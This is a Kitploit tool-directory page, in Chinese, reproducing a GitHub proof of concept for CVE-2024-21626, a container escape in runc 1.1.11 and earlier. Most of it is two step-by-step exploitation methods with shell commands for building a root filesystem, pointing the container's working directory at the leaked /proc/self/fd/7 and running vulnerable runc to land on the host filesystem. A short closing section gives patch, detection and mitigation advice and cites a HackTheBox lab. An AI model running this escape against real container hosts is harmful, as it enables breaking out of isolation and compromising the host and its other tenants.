Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2024-21626-runc-1.1.11-escape — CVE-2024-21626的PoC:runc在pivot_root之前泄露了一个引用宿主机CWD的内部文件描述符,通过将process.cwd设置为/proc/self/fd/7导致容器逃逸。 | Kitploit
工具/GitHubGitHub/strikoder-premium/cve-2024-21626-runc-1.1.11-escape
容器安全漏洞分析漏洞利用渗透测试红队容器逃逸
GitHubstrikoder-premium/cve-2024-21626-runc-1.1.11-escape

cve-2024-21626-runc-1.1.11-escape

CVE-2024-21626的PoC:runc在pivot_root之前泄露了一个引用宿主机CWD的内部文件描述符,通过将process.cwd设置为/proc/self/fd/7导致容器逃逸。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
186个月前尚未审核

CVE-2024-21626 - runc Leaky Vessels

概述

字段详情
CVECVE-2024-21626
受影响组件runc ≤ 1.1.11
漏洞类型通过文件描述符泄漏导致的容器逃逸
别名Leaky Vessels

根本原因

runc 在执行容器进程之前泄漏了一个指向主机文件系统工作目录的内部文件描述符(通常是 fd/7)。通过将容器的 config.json 中的 cwd 设置为 /proc/self/fd/7,进程会进入主机目录而非容器根文件系统——从而实现容器逃逸。


利用方法

方法 1 - 从主机二进制文件手动构建根文件系统

通过直接从主机复制二进制文件构建最小根文件系统:

root@kitploit:~
# 1. 创建目录结构
cd /tmp && mkdir -p strikoder/rootfs && cd strikoder
mkdir -p rootfs/lib64 rootfs/lib

# 2. 复制二进制文件及所需库
cp -aL /bin rootfs/bin
cp /lib64/ld-linux-x86-64.so.2 rootfs/lib64/
cp -a /lib/x86_64-linux-gnu rootfs/lib

# 3. 生成默认 OCI 配置
runc spec

# 4. 修改 config.json 中的 cwd 指向泄漏的主机 fd
# 将: "cwd": "/"
# 改为: "cwd": "/proc/self/fd/7"
vi config.json

# 5. 使用存在漏洞的 runc 二进制文件运行容器
sudo /opt/debug --log /tmp/log.json run strikontainer

发生的情况: runc 在切换到容器根文件系统之前打开了引用主机 CWD 的 fd/7。将 cwd 设置为 /proc/self/fd/7 会导致 runc 执行 chdir() 进入主机路径而非容器路径——使你进入真实文件系统。


方法 2 - 使用 Alpine Docker 镜像作为根文件系统

如果你需要一个更完整的环境,或者主机上二进制文件有限:

root@kitploit:~
# --- 在你的攻击机器上 ---
# 导出最小化的 Alpine 文件系统
docker export $(docker create alpine:latest) > alpine.tar

# 将 alpine.tar 传输到目标机器,然后:

# --- 在目标机器上 ---
mkdir -p /tmp/strikoder/rootfs && cd /tmp/strikoder
tar -xvf /path/to/alpine.tar -C rootfs

# 生成 OCI bundle 配置
runc spec

# 修改 cwd(与方法 1 相同)
vi config.json
# "cwd": "/proc/self/fd/7"

# 运行
sudo /opt/debug --log /tmp/log.json run strikontainer

检测与缓解措施

  • 补丁: 将 runc 升级至 ≥ 1.1.12(或 ≥ 1.2.0-rc.2)
  • 检测: 监控容器 cwd 配置中对 /proc/self/fd/ 的 openat() 调用;对 cwd 包含 /proc/self/fd 的 OCI bundle 发出警报
  • 缓解: 使用限制 /proc 访问的 seccomp 配置文件;考虑使用无根容器或 gVisor/Kata 以实现更强的隔离

参考资料

  • NVD: CVE-2024-21626
  • runc GitHub 安全公告
  • Snyk Leaky Vessels 博客
  • HackTheBox - GiveBack machine
下载工具